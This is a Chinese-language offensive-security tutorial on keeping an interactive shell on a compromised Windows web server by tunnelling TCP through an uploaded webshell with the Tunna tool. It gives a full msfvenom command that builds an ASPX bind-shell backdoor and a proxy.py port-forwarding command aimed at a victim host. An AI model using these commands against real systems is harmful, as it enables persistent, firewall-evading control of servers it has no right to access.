导语:假设您已经拿下了Web服务器,并且需要一个交互式shell,但是网络却没有开放端口,而唯一的交互方式是使用该Web服务器上的http 80端口时,您该怎么办?答案很简单——使用现有的Web服务器在HTTP内部通过隧道来传输流量。

所需原语

· Web服务器上的Webshell 

概述

假设您已经拿下了Web服务器,并且需要一个交互式shell,但是网络却没有开放端口,而唯一的交互方式是使用该Web服务器上的http 80端口时,您该怎么办?答案很简单——使用现有的Web服务器在HTTP内部通过隧道来传输流量。

我们以前也遇到过这个问题,不过当时的解决方法有点敷衍了事。因此,我们需要一种更通用的方法,它可以在每次使用webshell时重复使用。我们开始编写名为webtunfwd的工具,以实现我们的需求。它在攻击机器的本地端口上进行监听,然后当我们连接到本地端口时,它能够将socket.recv中的内容发布到支持POST请求的Web服务器中。然后,Web服务器将接收该POST请求中发送的内容,并将其馈送到受害者的套接字连接中。

注意:下图摘自Tunna项目的github 

图片1.png

下面,我们对上述过程做一个简单的总结:

· 攻击者向受害者上传webtunfwd.php,该文件将发往victim:80/webtunfwd.php

· 攻击者上传用来监听localhost:20000的恶意软件和/或meterpreter bindshell

· 现在,受害者开始监听localhost:20000

· 攻击者调用连接到localhost:20000的webtunfwd.php?broker,并设法让该连接一直处于打开状态

· webtunfwd.php?broker从套接字读取数据,并将其写入到一个临时文件out.tmp中

· webtunfwd.php?broker从一个名为in.tmp的临时文件读取数据,并将其写入套接字中 

好了,现在我们可以让webtunfwd.php?broker来处理受害者端的套接字连接并使连接始终保持打开状态。接下来,我们需要从in.tmp文件中读取数据,向out.tmp文件中写入数据,已实现与攻击机器之间的通信。

实际上,这些工作都是由python脚本local.py来完成的:

· 攻击者在自己的机器上运行local.py,来监听端口localhost:11337

· 然后,攻击者将meterpreter客户端连接到localhost:11337端口

· 当local.py收到连接时,它会创建2个线程:一个用于读操作,另一个用于写操作

· 用于读操作的线程从套接字读取数据,然后通过创建一个针对webtunfwd.php?write的POST请求将数据写入到in.tmp文件中

· 用于写操作的线程通过创建一个针对webtunfwd.php?read的GET请求从out.tmp中读取数据,然后将数据写入套接字 

因此,通过这些代码,就可以通过HTTP进行动态端口转发,并且能够在目标服务器上运行任意的有效载荷了。

然而,在编写这个工具之后,我们搜索了一下谷歌,发现了一个叫做Tunna的工具,而该软件是由SECFORCE公司专门为上述用途而编写的。实际上,我更加喜欢Tunna工具一些,所以下面将为读者展示Tunna的用法。

系统设置

· 受害者 – > Windows 2012服务器

· 攻击者 – > 各种Linux发行版 

前提条件 

· 能够将shell上传到Web服务器 

安装Tunna

为了安装Tunna,首先需要克隆相应的git仓库。为此,请在攻击机器上运行:git clone https://github.com/SECFORCE/Tunna命令。

在这个项目中,我们需要用到很多文件,其中包括proxy.py以及webshells文件夹中的一些文件。为了让Tunna正常运行,需要首先上传用于处理针对受害者机器的代理连接/端口转发的webshell。在webshells文件夹中,有一个conn.aspx文件——当然,我们得利用某些方法或漏洞进入该机器。但是,我们这里假定conn.aspx已经位于http://victim.com/conn.aspx。

现在,Tunna已经安装完毕并整装待发了。

生成有效载荷

接下来,我们要通过metasploit来生成自己的后门,在本文中,它只是一个简单的shell而已。在这里,这个shell用于监听localhost:12000,实际上,它可以监听本地主机上的任何端口,只要能通过Tunna连接该端口即可。

由于我们希望在运行ASPX的Windows服务器上运行该shell,因此,这里将借助MSFVENOM生成一个ASPX格式的后门。

为此,使用以下命令: 

msfvenom --platform Windows -a x64 -p windows/x64/shell/bind_tcp LPORT=12000 LHOST=127.0.0.1 -f aspx --out shell.aspx

· –platform 目标平台

· -a 目标架构

· -p 要使用的有效载荷

· LPORT 要监听的端口

· LHOST 要监听的IP地址

· -f 有效载荷的输出格式

· –out 在哪里保存文件 

运行这个命令后,将会生成shell.aspx。

我们可以使用上传conn.aspx方法来上传shell.aspx。

所以,现在我们假设已经准备好了以下两个文件:http://victim.com/conn.aspx 和 http://victim.com/shell.aspx。

发起攻势

所以,到目前为止,我们的准备工作已经完全就绪:Tunna已经上传到服务器,同时,也准备好了后门。

我们要做的第一件事是导航至http://victim.com/shell.aspx。这时您会发现,运行netstat -na后我们的shell就会在攻击机器上监听12000端口。

图片2.png

现在,切换到我们的攻击机器。我们需要连接两个软件:第一个是来自Tunna的proxy.py,第二个是我们的metasploit控制台。

首先,通过以下命令将本地10000端口转发到远程主机上的12000端口: 

python proxy.py -u http://target.com/conn.aspx -l 10000 -r 12000 -v --no-socks

· -u——带有webshell上传路径的目标网址

· -l—— 在攻击机器上侦听的本机端口

· -r——在受害机器上连接的远程端口

· -v——冗长模式

· –no-socks – 不要创建socks代理,只需进行端口转发

在等待连接时,将输出如下信息: 

图片3.png

现在,攻击机器会在10000端口上进行本地侦听,我们可以通过metasploit连接攻击机器。

为此,我们需要按照以下方式来配置metasploit:

图片4.png

之后,执行run命令,这时应该得到一个shell:

图片5.png

Tunna状态终端将显示以下内容: 

图片6.png

小结

通过将TCP连接封装到HTTP中,可以绕过防火墙之类的安全检查。当然,读者可以用自己喜欢的东西来替换文中使用的shell,因为Tunna只是为我们将流量转发到端口而已。

对Tunna的改进

我们已经对tunna项目进行了一些升级,因为该项目对往返于服务器的HTTP GET/POST请求的数量有所限制。我们的解决方案是使用Transfer-encoding技术:分块。这使我们能够打开一个GET请求,并在每次准备就绪时收到字节,然后等待下一次从套接字读取数据的操作,而不必关闭GET请求。为了通过POST来实现这一目标,我们研究了很多方法,但是我们似乎无法很好的应付像apache这样的Web服务器,因为它们会为数据块创建内部缓冲区,而这些缓冲区的大小被设置为8192字节。

源链接

Hacking more

...